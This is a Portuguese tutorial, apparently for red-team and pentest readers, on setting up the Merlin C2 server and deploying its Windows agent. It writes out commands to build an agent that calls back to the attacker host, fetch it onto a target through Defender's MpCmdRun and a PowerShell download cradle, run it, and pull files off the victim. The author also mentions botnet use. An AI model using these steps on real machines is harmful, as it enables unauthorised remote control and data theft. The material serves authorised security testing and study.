A alguns dias eu demonstrei o GCAT que é um servidor C2 usando GMAIL, claro que ele não é um bom servidor de comando e controle e precisa de muitas alterações e melhoria, mas para um profissional de Red Team e PenTest com certeza um servidor de comando e controle é bem útil, alguns já usam o Covenant ou Cobalt Strike, eu considero otimas ferramentas, porém são soluções mais avançadas e o cobalt sendo uma solução paga.

Porém, existem bons C2 gratuitos, nesse caso vou demonstrar um ótimo C2 que costumo usar também chamado Merlin, eu recomendo que vocês leiam esse artigo abaixo para entender toda a engenharia por trás do Merlin

https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a#df21

Após isso, vamos praticar um pouco com essa ferramenta

Prática

Vamos efetuar a instalação da versão Beta do Merlin, basta digitar:

mkdir /opt/merlin;cd /opt/merlin
wget https://github.com/Ne0nd0g/merlin/releases/download/v0.1.4/merlinServer-Linux-x64-v0.1.4.7z
7z x merlinServer-Linux-x64-v0.1.4.7z
sudo ./merlinServer-Linux-x64
Não foi fornecido texto alternativo para esta imagem

Vamos acessar a pasta /opt que guarda aplicativos, dentro dela vamos criar a pasta merlin, após isso vamos acessar a pasta merlin e baixar o MerlinServer usando wget, após isso vamos extrair o arquivo usando o 7z e digitar a senha: merlin para extrair o arquivo.

Não foi fornecido texto alternativo para esta imagem

Agora é só executar o arquivo digitando: sudo ./merlinServer-Linux-x64 -i “ipdasuamaquina” -psk “senha que deseja” ou caso não queira definir nada basta digitar ./merlinServer-Linux-x64 caso esteja como root.

A opção -psk é a senha que será utilizada também no agent, por isso é bom memorizar qual você colocou, pois ela fecha um tunel https autenticado do agent com servidor.

Não foi fornecido texto alternativo para esta imagem

Ele trabalha na porta 443 se você quiser entender melhor só ler o artigo acima no medium, se você der um cURL ou até mesmo acessar via browser, não tem nenhuma interface, mas você consegue ver se tem comunicação ou não.

Não foi fornecido texto alternativo para esta imagem

O comando help, vai te dar algumas opções

Não foi fornecido texto alternativo para esta imagem

Agora vamos gerar um agente Windows para compromete-lo e assim ter uma máquina no nosso servidor de Comando e Controle.

Será necessário clonar o repositório do Github

git clone https://github.com/Ne0nd0g/merlin

Agora basta acessar o diretório: /merlin/cmd/merlinserver e digitar o seguinte:

Não foi fornecido texto alternativo para esta imagem

Agora vamos gerar o nosso Agente Windows, basta acessar o diretório:/merlin/cmd/merlinagent

E ai vamos rodar o seguinte comando: go build -ldflags “-X main.url=https://ipdoservidor:443” -o agent.exe main.go

Caso queira gerar para arquitetura de 64 bits é só digitar:

 GOOS=windows GOARCH=amd64 go build -ldflags “-X main.url=https://10.0.0.39:443/” -o Agent.exe cmd/merlinagent/main.go

“O ip do servidor é o ip da sua maquina atacante, ao qual esta rodando o Merlin.”

Não foi fornecido texto alternativo para esta imagem
Não foi fornecido texto alternativo para esta imagem
Não foi fornecido texto alternativo para esta imagem

Um outro método que você pode utilizar é baixando o MerlinAgent Windows, usando o seguinte comando:

wget https://github.com/Ne0nd0g/merlin/releases/download/v0.8.0/merlinAgent-Windows-x64-v0.8.0.BETA.7z

Agora basta extrair usando o comando:

7z x merlinAgent-Windows-x64-v0.8.0.BETA.7z

Agora precisamos enviar esse agent para nosso alvo e executar na máquina dele, geralmente um C2 faz parte da pós exploração, ao qual garante o acesso ao alvo e assim possa executar comandos e utilizar também como uma botnet.

No meu caso, vou subir um servidor http em python usando o seguinte comando: python3 -m http.server 8000

Não foi fornecido texto alternativo para esta imagem

Agora só jogar no seu alvo você pode baixa-lo por meio de um utilitário do Windows Defender MpCmdRun, caso possua a versão 4.18.2007.9 or 4.18.2009.9.o , basta digitar:

“C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe” -DownloadFile -url https://ipdoservidor:8000/agent.exe -path c:\\Users\\fmt\\Documents\\agent.exe

https://pt.nex-software.com/o-que-e-o-mpcmdrunexe
https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-can-ironically-be-used-to-download-malware/

No meu caso não tenho essa versão, então vou utilizar o wget para isso via powershell

Não foi fornecido texto alternativo para esta imagem

Nesse caso baixei no meu Windows 10 se for Windows 7 o seu alvo você pode usar o comando powershell –c “(new-object System.Net.WebClient).DownloadFile(‘http://ipdoservidor:8000/agent.exe’,’agent.exe’)”

Não foi fornecido texto alternativo para esta imagem

Agora é só executar o agent, digitando: agent.exe -url https://10.0.0.39:443 -psk “senha que você definiu no servidor”

Não foi fornecido texto alternativo para esta imagem

Após obtermos a sessão agora é hora de interagir, claro que vou apresentar apenas alguns comandos básicos para entender seu funcionamento.

Não foi fornecido texto alternativo para esta imagem

Vamos copiar o ID do nosso alvo e interagir com ele, basta digitar:

interact “AGENT ID”

Digitando “help” podemos visualizar os comandos que podemos rodar:

Não foi fornecido texto alternativo para esta imagem

Agora é interagirmos, por exemplo: Vou realizar um ping, você pode estar fazendo isso utilizando o comando CMD ou Shell

Não foi fornecido texto alternativo para esta imagem

Perceba que ele criou um jobid e nos retornou logo abaixo o resultado, assim pode ser feito com outros comandos que deseja realizar, além disso você pode fazer upload de algum arquivo e até mesmo rodar comandos nessa interatividade, por exemplo: O comando “ls”

Não foi fornecido texto alternativo para esta imagem

Ele me retorna os arquivos, como ele cria um processo ele aguarda um tempo e se tudo der certo na execução ele nos retorna o resultado.

Não foi fornecido texto alternativo para esta imagem

No exemplo acima eu rodei o comando Download para baixar aquele .doc que nos listou no comando “ls” e o interessante é que ele armazena em uma pasta separada dentro do /data/agents/id do alvo, além dos logs do que está sendo realizado.

Com certeza o Merlin é um C2 bem útil, eu particularmente gosto bastante dele, claro que você pode explora-lo de mil e uma formas, veja um cenário.

Cenário de uso

Durante os testes de invasão você conseguiu escalar privilégios e será necessário realizar um pivoting, com certeza você vai precisar garantir o acesso ao seu alvo de alguma forma, correto? Alguns utilizam o Metasploit para gerar um script persistente, porém não tem garantia de que será efetivo e vai obter comunicação a todo momento, por isso é sempre bom outras alternativas como um Servidor de Comando e Controle, principalmente para manipular a sua vitima ou suas vitimas para realizar tarefas em massa e assim melhorar mais ainda sua exploração, lembrando da metodologia Cyber Kill Chain.

Não foi fornecido texto alternativo para esta imagem
https://www.paloaltonetworks.com/cyberpedia/command-and-control-explained

E caso você queira se tornar um perito no Merlin, vou deixar alguns conteúdos:

https://bestestredteam.com/2019/01/16/merlin-the-c2-wizard/

https://asciinema.org/a/166722?speed=2

https://github.com/Ne0nd0g/merlin/wiki

https://howto.thec2matrix.com/c2/merlin

https://posts.specterops.io/merlin-v0-7-0-release-roll-up-717739cde77a

Para dar uma olhada também:

https://github.com/yeyintminthuhtut/Awesome-Red-Teaming

https://www.linkedin.com/in/joas-antonio-dos-santos/detail/recent-activity/posts/

Visits: 278